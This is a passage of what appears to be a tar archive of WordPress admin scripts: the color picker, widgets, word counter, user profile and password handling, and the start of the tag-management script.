wrapping label to use as hook in the DOM, let's store it. */ self.wrappingLabel = el.parent(); // Wrap the label in the main wrapper. self.wrappingLabel.wrap( _wrap ); // Store a reference to the main wrapper. self.wrap = self.wrappingLabel.parent(); // Set up the toggle button and insert it before the wrapping label. self.toggler = $( _before ) .insertBefore( self.wrappingLabel ) .css( { backgroundColor: self.initialValue } ); // Set the toggle button span element text. self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) ); // Set up the Iris container and insert it after the wrapping label. self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel ); // Store a reference to the Clear/Default button. self.button = $( _button ); // Set up the Clear/Default button. if ( self.options.defaultColor ) { self.button .addClass( 'wp-picker-default' ) .val( __( 'Default' ) ) .attr( 'aria-label', __( 'Select default color' ) ); } else { self.button .addClass( 'wp-picker-clear' ) .val( __( 'Clear' ) ) .attr( 'aria-label', __( 'Clear color' ) ); } // Wrap the wrapping label in its wrapper and append the Clear/Default button. self.wrappingLabel .wrap( '<span class="wp-picker-input-wrap hidden" />' ) .after( self.button ); /* * The input wrapper now contains the label+input+Clear/Default button. * Store a reference to the input wrapper: we'll use this to toggle * the controls visibility. */ self.inputWrapper = el.closest( '.wp-picker-input-wrap' ); el.iris( { target: self.pickerContainer, hide: self.options.hide, width: self.options.width, mode: self.options.mode, palettes: self.options.palettes, /** * Handles the onChange event if one has been defined in the options and additionally * sets the background color for the toggler element. * * @since 3.5.0 * * @ignore * * @param {Event} event The event that's being called. * @param {HTMLElement} ui The HTMLElement containing the color picker. * * @return {void} */ change: function( event, ui ) { self.toggler.css( { backgroundColor: ui.color.toString() } ); if ( typeof self.options.change === 'function' ) { self.options.change.call( this, event, ui ); } } } ); el.val( self.initialValue ); self._addListeners(); // Force the color picker to always be closed on initial load. if ( ! self.options.hide ) { self.toggler.click(); } }, /** * Binds event listeners to the color picker. * * @since 3.5.0 * @access private * * @return {void} */ _addListeners: function() { var self = this; /** * Prevent any clicks inside this widget from leaking to the top and closing it. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.wrap.on( 'click.wpcolorpicker', function( event ) { event.stopPropagation(); }); /** * Open or close the color picker depending on the class. * * @since 3.5.0 */ self.toggler.on( 'click', function(){ if ( self.toggler.hasClass( 'wp-picker-open' ) ) { self.close(); } else { self.open(); } }); /** * Checks if value is empty when changing the color in the color picker. * If so, the background color is cleared. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.element.on( 'change', function( event ) { var me = $( this ), val = me.val(); if ( val === '' || val === '#' ) { self.toggler.css( 'backgroundColor', '' ); // Fire clear callback if we have one. if ( typeof self.options.clear === 'function' ) { self.options.clear.call( this, event ); } } }); /** * Enables the user to either clear the color in the color picker or revert back to the default color. * * @since 3.5.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.button.on( 'click', function( event ) { var me = $( this ); if ( me.hasClass( 'wp-picker-clear' ) ) { self.element.val( '' ); self.toggler.css( 'backgroundColor', '' ); if ( typeof self.options.clear === 'function' ) { self.options.clear.call( this, event ); } } else if ( me.hasClass( 'wp-picker-default' ) ) { self.element.val( self.options.defaultColor ).change(); } }); }, /** * Opens the color picker dialog. * * @since 3.5.0 * * @return {void} */ open: function() { this.element.iris( 'toggle' ); this.inputWrapper.removeClass( 'hidden' ); this.wrap.addClass( 'wp-picker-active' ); this.toggler .addClass( 'wp-picker-open' ) .attr( 'aria-expanded', 'true' ); $( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close ); }, /** * Closes the color picker dialog. * * @since 3.5.0 * * @return {void} */ close: function() { this.element.iris( 'toggle' ); this.inputWrapper.addClass( 'hidden' ); this.wrap.removeClass( 'wp-picker-active' ); this.toggler .removeClass( 'wp-picker-open' ) .attr( 'aria-expanded', 'false' ); $( 'body' ).off( 'click.wpcolorpicker', this.close ); }, /** * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color. * * @param newColor {string|*} The new color to use. Can be undefined. * * @since 3.5.0 * * @return {string} The element's color. */ color: function( newColor ) { if ( newColor === undef ) { return this.element.iris( 'option', 'color' ); } this.element.iris( 'option', 'color', newColor ); }, /** * Returns the iris object if no new default color is provided. * If a new default color is provided, it sets the new default color. * * @param newDefaultColor {string|*} The new default color to use. Can be undefined. * * @since 3.5.0 * * @return {boolean|string} The element's color. */ defaultColor: function( newDefaultColor ) { if ( newDefaultColor === undef ) { return this.options.defaultColor; } this.options.defaultColor = newDefaultColor; } }; // Register the color picker as a widget. $.widget( 'wp.wpColorPicker', ColorPicker ); }( jQuery ) ); widgets.min.js 0000644 00000030501 15174417325 0007342 0 ustar 00 /*! This file is auto-generated */ !function(w){var l=w(document);window.wpWidgets={hoveredSidebar:null,dirtyWidgets:{},init:function(){var r,o,g=this,d=w(".widgets-chooser"),s=d.find(".widgets-chooser-sidebars"),e=w("div.widgets-sortables"),c=!("undefined"==typeof isRtl||!isRtl);w("#widgets-right .sidebar-name").on("click",function(){var e=w(this),i=e.closest(".widgets-holder-wrap "),t=e.find(".handlediv");i.hasClass("closed")?(i.removeClass("closed"),t.attr("aria-expanded","true"),e.parent().sortable("refresh")):(i.addClass("closed"),t.attr("aria-expanded","false")),l.triggerHandler("wp-pin-menu")}).find(".handlediv").each(function(e){0!==e&&w(this).attr("aria-expanded","false")}),w(window).on("beforeunload.widgets",function(e){var i,t=[];if(w.each(g.dirtyWidgets,function(e,i){i&&t.push(e)}),0!==t.length)return(i=w("#widgets-right").find(".widget").filter(function(){return-1!==t.indexOf(w(this).prop("id").replace(/^widget-\d+_/,""))})).each(function(){w(this).hasClass("open")||w(this).find(".widget-title-action:first").trigger("click")}),i.first().each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(),w(this).find(".widget-inside :tabbable:first").trigger("focus")}),e.returnValue=wp.i18n.__("The changes you made will be lost if you navigate away from this page."),e.returnValue}),w("#widgets-left .sidebar-name").on("click",function(){var e=w(this).closest(".widgets-holder-wrap");e.toggleClass("closed").find(".handlediv").attr("aria-expanded",!e.hasClass("closed")),l.triggerHandler("wp-pin-menu")}),w(document.body).on("click.widgets-toggle",function(e){var i,t,d,a,s,n,r=w(e.target),o={},l=r.closest(".widget").find(".widget-top button.widget-action");r.parents(".widget-top").length&&!r.parents("#available-widgets").length?(t=(i=r.closest("div.widget")).children(".widget-inside"),d=parseInt(i.find("input.widget-width").val(),10),a=i.parent().width(),n=t.find(".widget-id").val(),i.data("dirty-state-initialized")||((s=t.find(".widget-control-save")).prop("disabled",!0).val(wp.i18n.__("Saved")),t.on("input change",function(){g.dirtyWidgets[n]=!0,i.addClass("widget-dirty"),s.prop("disabled",!1).val(wp.i18n.__("Save"))}),i.data("dirty-state-initialized",!0)),t.is(":hidden")?(250<d&&a<d+30&&i.closest("div.widgets-sortables").length&&(o[i.closest("div.widget-liquid-right").length?c?"margin-right":"margin-left":c?"margin-left":"margin-right"]=a-(d+30)+"px",i.css(o)),l.attr("aria-expanded","true"),t.slideDown("fast",function(){i.addClass("open")})):(l.attr("aria-expanded","false"),t.slideUp("fast",function(){i.attr("style",""),i.removeClass("open")}))):r.hasClass("widget-control-save")?(wpWidgets.save(r.closest("div.widget"),0,1,0),e.preventDefault()):r.hasClass("widget-control-remove")?wpWidgets.save(r.closest("div.widget"),1,1,0):r.hasClass("widget-control-close")?((i=r.closest("div.widget")).removeClass("open"),l.attr("aria-expanded","false"),wpWidgets.close(i)):"inactive-widgets-control-remove"===r.attr("id")&&(wpWidgets.removeInactiveWidgets(),e.preventDefault())}),e.children(".widget").each(function(){var e=w(this);wpWidgets.appendTitle(this),e.find("p.widget-error").length&&e.find(".widget-action").trigger("click").attr("aria-expanded","true")}),w("#widget-list").children(".widget").draggable({connectToSortable:"div.widgets-sortables",handle:"> .widget-top > .widget-title",distance:2,helper:"clone",zIndex:101,containment:"#wpwrap",refreshPositions:!0,start:function(e,i){var t=w(this).find(".widgets-chooser");i.helper.find("div.widget-description").hide(),o=this.id,t.length&&(w("#wpbody-content").append(t.hide()),i.helper.find(".widgets-chooser").remove(),g.clearWidgetSelection())},stop:function(){r&&w(r).hide(),r=""}}),e.droppable({tolerance:"intersect",over:function(e){var i=w(e.target).parent();wpWidgets.hoveredSidebar&&!i.is(wpWidgets.hoveredSidebar)&&wpWidgets.closeSidebar(e),i.hasClass("closed")&&(wpWidgets.hoveredSidebar=i).removeClass("closed").find(".handlediv").attr("aria-expanded","true"),w(this).sortable("refresh")},out:function(e){wpWidgets.hoveredSidebar&&wpWidgets.closeSidebar(e)}}),e.sortable({placeholder:"widget-placeholder",items:"> .widget",handle:"> .widget-top > .widget-title",cursor:"move",distance:2,containment:"#wpwrap",tolerance:"pointer",refreshPositions:!0,start:function(e,i){var t=w(this),d=t.parent(),a=i.item.children(".widget-inside");"block"===a.css("display")&&(i.item.removeClass("open"),i.item.find(".widget-top button.widget-action").attr("aria-expanded","false"),a.hide(),w(this).sortable("refreshPositions")),d.hasClass("closed")||(a=i.item.hasClass("ui-draggable")?t.height():1+t.height(),t.css("min-height",a+"px"))},stop:function(e,i){var t,d,a,s,i=i.item,n=o;wpWidgets.hoveredSidebar=null,i.hasClass("deleting")?(wpWidgets.save(i,1,0,1),i.remove()):(t=i.find("input.add_new").val(),d=i.find("input.multi_number").val(),i.attr("style","").removeClass("ui-draggable"),o="",t&&("multi"===t?(i.html(i.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,d)})),i.attr("id",n.replace("__i__",d)),d++,w("div#"+n).find("input.multi_number").val(d)):"single"===t&&(i.attr("id","new-"+n),r="div#"+n),wpWidgets.save(i,0,0,1),i.find("input.add_new").val(""),l.trigger("widget-added",[i])),(n=i.parent()).parent().hasClass("closed")&&(n.parent().removeClass("closed").find(".handlediv").attr("aria-expanded","true"),1<(a=n.children(".widget")).length)&&(a=a.get(0),s=i.get(0),a.id)&&s.id&&a.id!==s.id&&w(a).before(i),t?i.find(".widget-action").trigger("click"):wpWidgets.saveOrder(n.attr("id")))},activate:function(){w(this).parent().addClass("widget-hover")},deactivate:function(){w(this).css("min-height","").parent().removeClass("widget-hover")},receive:function(e,i){i=w(i.sender);-1<this.id.indexOf("orphaned_widgets")?i.sortable("cancel"):-1<i.attr("id").indexOf("orphaned_widgets")&&!i.children(".widget").length&&i.parents(".orphan-sidebar").slideUp(400,function(){w(this).remove()})}}).sortable("option","connectWith","div.widgets-sortables"),w("#available-widgets").droppable({tolerance:"pointer",accept:function(e){return"widget-list"!==w(e).parent().attr("id")},drop:function(e,i){i.draggable.addClass("deleting"),w("#removing-widget").hide().children("span").empty()},over:function(e,i){i.draggable.addClass("deleting"),w("div.widget-placeholder").hide(),i.draggable.hasClass("ui-sortable-helper")&&w("#removing-widget").show().children("span").html(i.draggable.find("div.widget-title").children("h3").html())},out:function(e,i){i.draggable.removeClass("deleting"),w("div.widget-placeholder").show(),w("#removing-widget").hide().children("span").empty()}}),w("#widgets-right .widgets-holder-wrap").each(function(e,i){var i=w(i),t=i.find(".sidebar-name h2").text()||"",d=i.find(".sidebar-name").data("add-to"),i=i.find(".widgets-sortables").attr("id"),a=w("<li>"),d=w("<button>",{type:"button","aria-pressed":"false",class:"widgets-chooser-button","aria-label":d}).text(t.toString().trim());a.append(d),0===e&&(a.addClass("widgets-chooser-selected"),d.attr("aria-pressed","true")),s.append(a),a.data("sidebarId",i)}),w("#available-widgets .widget .widget-top").on("click.widgets-chooser",function(){var e=w(this).closest(".widget"),i=w(this).find(".widget-action"),t=s.find(".widgets-chooser-button");e.hasClass("widget-in-question")||w("#widgets-left").hasClass("chooser")?(i.attr("aria-expanded","false"),g.closeChooser()):(g.clearWidgetSelection(),w("#widgets-left").addClass("chooser"),e.addClass("widget-in-question").children(".widget-description").after(d),d.slideDown(300,function(){i.attr("aria-expanded","true")}),t.on("click.widgets-chooser",function(){s.find(".widgets-chooser-selected").removeClass("widgets-chooser-selected"),t.attr("aria-pressed","false"),w(this).attr("aria-pressed","true").closest("li").addClass("widgets-chooser-selected")}))}),d.on("click.widgets-chooser",function(e){e=w(e.target);e.hasClass("button-primary")?(g.addWidget(d),g.closeChooser()):e.hasClass("widgets-chooser-cancel")&&g.closeChooser()}).on("keyup.widgets-chooser",function(e){e.which===w.ui.keyCode.ESCAPE&&g.closeChooser()})},saveOrder:function(e){var i={action:"widgets-order",savewidgets:w("#_wpnonce_widgets").val(),sidebars:[]};e&&w("#"+e).find(".spinner:first").addClass("is-active"),w("div.widgets-sortables").each(function(){w(this).sortable&&(i["sidebars["+w(this).attr("id")+"]"]=w(this).sortable("toArray").join(","))}),w.post(ajaxurl,i,function(){w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length),w(".spinner").removeClass("is-active")})},save:function(t,d,a,s){var n=this,r=t.closest("div.widgets-sortables").attr("id"),e=t.find("form"),i=t.find("input.add_new").val();(d||i||!e.prop("checkValidity")||e[0].checkValidity())&&(i=e.serialize(),t=w(t),w(".spinner",t).addClass("is-active"),e={action:"save-widget",savewidgets:w("#_wpnonce_widgets").val(),sidebar:r},d&&(e.delete_widget=1),i+="&"+w.param(e),w.post(ajaxurl,i,function(e){var i=w("input.widget-id",t).val();d?(w("input.widget_number",t).val()||w("#available-widgets").find("input.widget-id").each(function(){w(this).val()===i&&w(this).closest("div.widget").show()}),a?(s=0,t.slideUp("fast",function(){w(this).remove(),wpWidgets.saveOrder(),delete n.dirtyWidgets[i]})):(t.remove(),delete n.dirtyWidgets[i],"wp_inactive_widgets"===r&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length))):(w(".spinner").removeClass("is-active"),e&&2<e.length&&(w("div.widget-content",t).html(e),wpWidgets.appendTitle(t),t.find(".widget-control-save").prop("disabled",!0).val(wp.i18n.__("Saved")),t.removeClass("widget-dirty"),delete n.dirtyWidgets[i],l.trigger("widget-updated",[t]),"wp_inactive_widgets"===r)&&w("#inactive-widgets-control-remove").prop("disabled",!w("#wp_inactive_widgets .widget").length)),s&&wpWidgets.saveOrder()}))},removeInactiveWidgets:function(){var e,i=w(".remove-inactive-widgets"),t=this;w(".spinner",i).addClass("is-active"),e={action:"delete-inactive-widgets",removeinactivewidgets:w("#_wpnonce_remove_inactive_widgets").val()},e=w.param(e),w.post(ajaxurl,e,function(){w("#wp_inactive_widgets .widget").each(function(){var e=w(this);delete t.dirtyWidgets[e.find("input.widget-id").val()],e.remove()}),w("#inactive-widgets-control-remove").prop("disabled",!0),w(".spinner",i).removeClass("is-active")})},appendTitle:function(e){var i=(i=w('input[id*="-title"]',e).val()||"")&&": "+i.replace(/<[^<>]+>/g,"").replace(/</g,"<").replace(/>/g,">");w(e).children(".widget-top").children(".widget-title").children().children(".in-widget-title").html(i)},close:function(e){e.children(".widget-inside").slideUp("fast",function(){e.attr("style","").find(".widget-top button.widget-action").attr("aria-expanded","false").focus()})},addWidget:function(e){var i,e=e.find(".widgets-chooser-selected").data("sidebarId"),e=w("#"+e),t=w("#available-widgets").find(".widget-in-question").clone(),d=t.attr("id"),a=t.find("input.add_new").val(),s=t.find("input.multi_number").val();t.find(".widgets-chooser").remove(),"multi"===a?(t.html(t.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,s)})),t.attr("id",d.replace("__i__",s)),s++,w("#"+d).find("input.multi_number").val(s)):"single"===a&&(t.attr("id","new-"+d),w("#"+d).hide()),e.closest(".widgets-holder-wrap").removeClass("closed").find(".handlediv").attr("aria-expanded","true"),e.append(t),e.sortable("refresh"),wpWidgets.save(t,0,0,1),t.find("input.add_new").val(""),l.trigger("widget-added",[t]),d=(a=w(window).scrollTop())+w(window).height(),(i=e.offset()).bottom=i.top+e.outerHeight(),(a>i.bottom||d<i.top)&&w("html, body").animate({scrollTop:i.top-130},200),window.setTimeout(function(){t.find(".widget-title").trigger("click"),window.wp.a11y.speak(wp.i18n.__("Widget has been added to the selected sidebar"),"assertive")},250)},closeChooser:function(){var e=this,i=w("#available-widgets .widget-in-question");w(".widgets-chooser").slideUp(200,function(){w("#wpbody-content").append(this),e.clearWidgetSelection(),i.find(".widget-action").attr("aria-expanded","false").focus()})},clearWidgetSelection:function(){w("#widgets-left").removeClass("chooser"),w(".widget-in-question").removeClass("widget-in-question")},closeSidebar:function(e){this.hoveredSidebar.addClass("closed").find(".handlediv").attr("aria-expanded","false"),w(e.target).css("min-height",""),this.hoveredSidebar=null}},w(function(){wpWidgets.init()})}(jQuery),wpWidgets.l10n=wpWidgets.l10n||{save:"",saved:"",saveAlert:"",widgetAdded:""},wpWidgets.l10n=window.wp.deprecateL10nObject("wpWidgets.l10n",wpWidgets.l10n,"5.5.0"); word-count.min.js 0000644 00000002772 15174417325 0010006 0 ustar 00 /*! This file is auto-generated */ !function(){function e(e){var t,s;if(e)for(t in e)e.hasOwnProperty(t)&&(this.settings[t]=e[t]);(s=this.settings.l10n.shortcodes)&&s.length&&(this.settings.shortcodesRegExp=new RegExp("\\[\\/?(?:"+s.join("|")+")[^\\]]*?\\]","g"))}e.prototype.settings={HTMLRegExp:/<\/?[a-z][^>]*?>/gi,HTMLcommentRegExp:/<!--[\s\S]*?-->/g,spaceRegExp:/ | /gi,HTMLEntityRegExp:/&\S+?;/g,connectorRegExp:/--|\u2014/g,removeRegExp:new RegExp(["[","!-@[-`{-~","\x80-\xbf\xd7\xf7","\u2000-\u2bff","\u2e00-\u2e7f","]"].join(""),"g"),astralRegExp:/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,wordsRegExp:/\S\s+/g,characters_excluding_spacesRegExp:/\S/g,characters_including_spacesRegExp:/[^\f\n\r\t\v\u00AD\u2028\u2029]/g,l10n:window.wordCountL10n||{}},e.prototype.count=function(e,t){var s=0;return"characters_excluding_spaces"!==(t=t||this.settings.l10n.type)&&"characters_including_spaces"!==t&&(t="words"),s=e&&(e=(e=(e+="\n").replace(this.settings.HTMLRegExp,"\n")).replace(this.settings.HTMLcommentRegExp,""),e=(e=this.settings.shortcodesRegExp?e.replace(this.settings.shortcodesRegExp,"\n"):e).replace(this.settings.spaceRegExp," "),e=(e="words"===t?(e=(e=e.replace(this.settings.HTMLEntityRegExp,"")).replace(this.settings.connectorRegExp," ")).replace(this.settings.removeRegExp,""):(e=e.replace(this.settings.HTMLEntityRegExp,"a")).replace(this.settings.astralRegExp,"a")).match(this.settings[t+"RegExp"]))?e.length:s},window.wp=window.wp||{},window.wp.utils=window.wp.utils||{},window.wp.utils.WordCounter=e}(); user-profile.min.js 0000644 00000017475 15174417325 0010327 0 ustar 00 /*! This file is auto-generated */ !function(r){var s,a,t,n,i,o,p,l,d,c,u,h,w,f=!1,v=!1,m=wp.i18n.__,e=new ClipboardJS(".application-password-display .copy-button"),g=!!window.navigator.platform&&-1!==window.navigator.platform.indexOf("Mac"),b=navigator.userAgent.toLowerCase(),y="undefined"!==window.safari&&"object"==typeof window.safari,k=-1!==b.indexOf("firefox");function _(){"function"!=typeof zxcvbn?setTimeout(_,50):(!a.val()||h.hasClass("is-open")?(a.val(a.data("pw")),a.trigger("pwupdate")):T(),H(),x(),1!==parseInt(o.data("start-masked"),10)?a.attr("type","text"):o.trigger("click"),r("#pw-weak-text-label").text(m("Confirm use of weak password")),"mailserver_pass"===a.prop("id")||r("#weblog_title").length||r(a).trigger("focus"))}function C(e){o.attr({"aria-label":m(e?"Show password":"Hide password")}).find(".text").text(m(e?"Show":"Hide")).end().find(".dashicons").removeClass(e?"dashicons-hidden":"dashicons-visibility").addClass(e?"dashicons-visibility":"dashicons-hidden")}function x(){o||((o=s.find(".wp-hide-pw")).show().on("click",function(){"password"===a.attr("type")?(a.attr("type","text"),C(!1)):(a.attr("type","password"),C(!0))}),s.closest("form").on("submit",function(){"text"===a.attr("type")&&(a.attr("type","password"),C(!0))}))}function L(e,s,a){var t=r("<div />",{role:"alert"});t.addClass("notice inline"),t.addClass("notice-"+(s?"success":"error")),t.text(r(r.parseHTML(a)).text()).wrapInner("<p />"),e.prop("disabled",s),e.siblings(".notice").remove(),e.before(t)}function S(){var e;s=r(".user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit"),r(".user-pass2-wrap").hide(),l=r("#submit, #wp-submit").on("click",function(){f=!1}),p=l.add(" #createusersub"),n=r(".pw-weak"),(i=n.find(".pw-checkbox")).on("change",function(){p.prop("disabled",!i.prop("checked"))}),(a=r("#pass1, #mailserver_pass")).length?(d=a.val(),1===parseInt(a.data("reveal"),10)&&_(),a.on("input pwupdate",function(){a.val()!==d&&(d=a.val(),a.removeClass("short bad good strong"),H())}),j(a)):j(a=r("#user_pass")),t=r("#pass2").on("input",function(){0<t.val().length&&(a.val(t.val()),t.val(""),d="",a.trigger("pwupdate"))}),a.is(":hidden")&&(a.prop("disabled",!0),t.prop("disabled",!0)),h=s.find(".wp-pwd"),e=s.find("button.wp-generate-pw"),x(),e.show(),e.on("click",function(){f=!0,e.not(".skip-aria-expanded").attr("aria-expanded","true"),h.show().addClass("is-open"),a.attr("disabled",!1),t.attr("disabled",!1),_(),C(!1),wp.ajax.post("generate-password").done(function(e){a.data("pw",e)})}),s.find("button.wp-cancel-pw").on("click",function(){f=!1,a.prop("disabled",!0),t.prop("disabled",!0),a.val("").trigger("pwupdate"),C(!1),h.hide().removeClass("is-open"),p.prop("disabled",!1),e.attr("aria-expanded","false")}),s.closest("form").on("submit",function(){f=!1,a.prop("disabled",!1),t.prop("disabled",!1),t.val(a.val())})}function T(){var e=r("#pass1").val();if(r("#pass-strength-result").removeClass("short bad good strong empty"),e&&""!==e.trim())switch(wp.passwordStrength.meter(e,wp.passwordStrength.userInputDisallowedList(),e)){case-1:r("#pass-strength-result").addClass("bad").html(pwsL10n.unknown);break;case 2:r("#pass-strength-result").addClass("bad").html(pwsL10n.bad);break;case 3:r("#pass-strength-result").addClass("good").html(pwsL10n.good);break;case 4:r("#pass-strength-result").addClass("strong").html(pwsL10n.strong);break;case 5:r("#pass-strength-result").addClass("short").html(pwsL10n.mismatch);break;default:r("#pass-strength-result").addClass("short").html(pwsL10n.short)}else r("#pass-strength-result").addClass("empty").html(" ")}function j(e){var a,s,t,n=!1;g&&(y||k)||(a=r('<div id="caps-warning" class="caps-warning"></div>'),s=r('<span class="caps-icon" aria-hidden="true"><svg viewBox="0 0 24 26" xmlns="http://www.w3.org/2000/svg" fill="#3c434a" stroke="#3c434a" stroke-width="0.5"><path d="M12 5L19 15H16V19H8V15H5L12 5Z"/><rect x="8" y="21" width="8" height="1.5" rx="0.75"/></svg></span>'),t=r("<span>",{class:"caps-warning-text",text:m("Caps lock is on.")}),a.append(s,t),e.parent("div").append(a),e.on("keydown",function(e){var s,e=e.originalEvent;e.ctrlKey||e.metaKey||e.altKey||!e.key||1!==e.key.length||(s=e.getModifierState("CapsLock"))!==n&&((n=s)?(a.show(),"CapsLock"!==e.key&&wp.a11y.speak(m("Caps lock is on."),"assertive")):a.hide())}),e.on("blur",function(){document.hasFocus()&&(n=!1,a.hide())}))}function H(){var e=r("#pass-strength-result");e.length&&(e=e[0]).className&&(a.addClass(e.className),r(e).is(".short, .bad")?(i.prop("checked")||p.prop("disabled",!0),n.show()):(r(e).is(".empty")?(p.prop("disabled",!0),i.prop("checked",!1)):p.prop("disabled",!1),n.hide()))}e.on("success",function(e){var s=r(e.trigger),a=r(".success",s.closest(".application-password-display"));e.clearSelection(),clearTimeout(w),a.removeClass("hidden"),w=setTimeout(function(){a.addClass("hidden")},3e3),wp.a11y.speak(m("Application password has been copied to your clipboard."))}),r(function(){var e,a,t,n,i=r("#display_name"),s=i.val(),o=r("#wp-admin-bar-my-account").find(".display-name");r("#pass1").val("").on("input pwupdate",T),r("#pass-strength-result").show(),r(".color-palette").on("click",function(){r(this).siblings('input[name="admin_color"]').prop("checked",!0)}),i.length&&(r("#first_name, #last_name, #nickname").on("blur.user_profile",function(){var a=[],t={display_nickname:r("#nickname").val()||"",display_username:r("#user_login").val()||"",display_firstname:r("#first_name").val()||"",display_lastname:r("#last_name").val()||""};t.display_firstname&&t.display_lastname&&(t.display_firstlast=t.display_firstname+" "+t.display_lastname,t.display_lastfirst=t.display_lastname+" "+t.display_firstname),r.each(r("option",i),function(e,s){a.push(s.value)}),r.each(t,function(e,s){s&&(s=s.replace(/<\/?[a-z][^>]*>/gi,""),t[e].length)&&-1===r.inArray(s,a)&&(a.push(s),r("<option />",{text:s}).appendTo(i))})}),i.on("change",function(){var e;t===n&&(e=this.value.trim()||s,o.text(e))})),e=r("#color-picker"),a=r("#colors-css"),t=r("input#user_id").val(),n=r('input[name="checkuser_id"]').val(),e.on("click.colorpicker",".color-option",function(){var e,s=r(this);if(!s.hasClass("selected")&&(s.siblings(".selected").removeClass("selected"),s.addClass("selected").find('input[type="radio"]').prop("checked",!0),t===n)){if((a=0===a.length?r('<link rel="stylesheet" />').appendTo("head"):a).attr("href",s.children(".css_url").val()),"undefined"!=typeof wp&&wp.svgPainter){try{e=JSON.parse(s.children(".icon_colors").val())}catch(e){}e&&(wp.svgPainter.setColors(e),wp.svgPainter.paint())}r.post(ajaxurl,{action:"save-user-color-scheme",color_scheme:s.children('input[name="admin_color"]').val(),nonce:r("#color-nonce").val()}).done(function(e){e.success&&r("body").removeClass(e.data.previousScheme).addClass(e.data.currentScheme)})}}),S(),r("#generate-reset-link").on("click",function(){var s=r(this),e={user_id:userProfileL10n.user_id,nonce:userProfileL10n.nonce},e=(s.parent().find(".notice-error").remove(),wp.ajax.post("send-password-reset",e));e.done(function(e){L(s,!0,e)}),e.fail(function(e){L(s,!1,e)})}),p.on("click",function(){v=!0}),c=r("#your-profile, #createuser"),u=c.serialize()}),r("#destroy-sessions").on("click",function(e){var s=r(this);wp.ajax.post("destroy-sessions",{nonce:r("#_wpnonce").val(),user_id:r("#user_id").val()}).done(function(e){s.prop("disabled",!0),s.siblings(".notice").remove(),s.before('<div class="notice notice-success inline" role="alert"><p>'+e.message+"</p></div>")}).fail(function(e){s.siblings(".notice").remove(),s.before('<div class="notice notice-error inline" role="alert"><p>'+e.message+"</p></div>")}),e.preventDefault()}),window.generatePassword=_,r(window).on("beforeunload",function(){return!0===f?m("Your new password has not been saved."):u===c.serialize()||v?void 0:m("The changes you made will be lost if you navigate away from this page.")}),r(function(){r(".reset-pass-submit").length&&r(".reset-pass-submit button.wp-generate-pw").trigger("click")})}(jQuery); tags.js 0000644 00000013722 15174417325 0006056 0 ustar 00 /** * Contains logic for deleting and adding tags. * * For deleting tags it makes a request to the server to delete the tag. * For adding tags it makes a request to the server to add the tag. * * @output wp-admin/js/tags.js */ /* global ajaxurl, wpAjax, showNotice, validateForm */ jQuery( function($) { var addingTerm = false; /** * Adds an event handler to the delete term link on the term overview page. * * Cancels default event handling and event bubbling. * * @since 2.8.0 * * @return {boolean} Always returns false to cancel the default event handling. */ $( '#the-list' ).on( 'click', '.delete-tag', function() { var t = $(this), tr = t.parents('tr'), r = true, data; if ( 'undefined' != showNotice ) r = showNotice.warn(); if ( r ) { data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag'); tr.children().css('backgroundColor', '#faafaa'); // Disable pointer events and all form controls/links in the row tr.css('pointer-events', 'none'); tr.find(':input, a').prop('disabled', true).attr('tabindex', -1); /** * Makes a request to the server to delete the term that corresponds to the * delete term button. * * @param {string} r The response from the server. * * @return {void} */ $.post(ajaxurl, data, function(r){ var message; if ( '1' == r ) { $('#ajax-response').empty(); let nextFocus = tr.next( 'tr' ).find( 'a.row-title' ); let prevFocus = tr.prev( 'tr' ).find( 'a.row-title' ); // If there is neither a next row or a previous row, focus the tag input field. if ( nextFocus.length < 1 && prevFocus.length < 1 ) { nextFocus = $( '#tag-name' ).trigger( 'focus' ); } else { if ( nextFocus.length < 1 ) { nextFocus = prevFocus; } } tr.fadeOut('normal', function(){ tr.remove(); }); /** * Removes the term from the parent box and the tag cloud. * * `data.match(/tag_ID=(\d+)/)[1]` matches the term ID from the data variable. * This term ID is then used to select the relevant HTML elements: * The parent box and the tag cloud. */ $('select#parent option[value="' + data.match(/tag_ID=(\d+)/)[1] + '"]').remove(); $('a.tag-link-' + data.match(/tag_ID=(\d+)/)[1]).remove(); nextFocus.trigger( 'focus' ); message = wp.i18n.__( 'The selected tag has been deleted.' ); } else if ( '-1' == r ) { message = wp.i18n.__( 'Sorry, you are not allowed to do that.' ); $('#ajax-response').empty().append('<div class="notice notice-error"><p>' + message + '</p></div>'); resetRowAfterFailure( tr ); } else { message = wp.i18n.__( 'An error occurred while processing your request. Please try again later.' ); $('#ajax-response').empty().append('<div class="notice notice-error"><p>' + message + '</p></div>'); resetRowAfterFailure( tr ); } wp.a11y.speak( message, 'assertive' ); }); } return false; }); /** * Restores the original UI state of a table row after an AJAX failure. * * @param {jQuery} tr The table row to reset. * @return {void} */ function resetRowAfterFailure( tr ) { tr.children().css( 'backgroundColor', '' ); tr.css( 'pointer-events', '' ); tr.find( ':input, a' ).prop( 'disabled', false ).removeAttr( 'tabindex' ); } /** * Adds a deletion confirmation when removing a tag. * * @since 4.8.0 * * @return {void} */ $( '#edittag' ).on( 'click', '.delete', function( e ) { if ( 'undefined' === typeof showNotice ) { return true; } // Confirms the deletion, a negative response means the deletion must not be executed. var response = showNotice.warn(); if ( ! response ) { e.preventDefault(); } }); /** * Adds an event handler to the form submit on the term overview page. * * Cancels default event handling and event bubbling. * * @since 2.8.0 * * @return {boolean} Always returns false to cancel the default event handling. */ $('#submit').on( 'click', function(){ var form = $(this).parents('form'); if ( addingTerm ) { // If we're adding a term, noop the button to avoid duplicate requests. return false; } addingTerm = true; form.find( '.submit .spinner' ).addClass( 'is-active' ); /** * Does a request to the server to add a new term to the database * * @param {string} r The 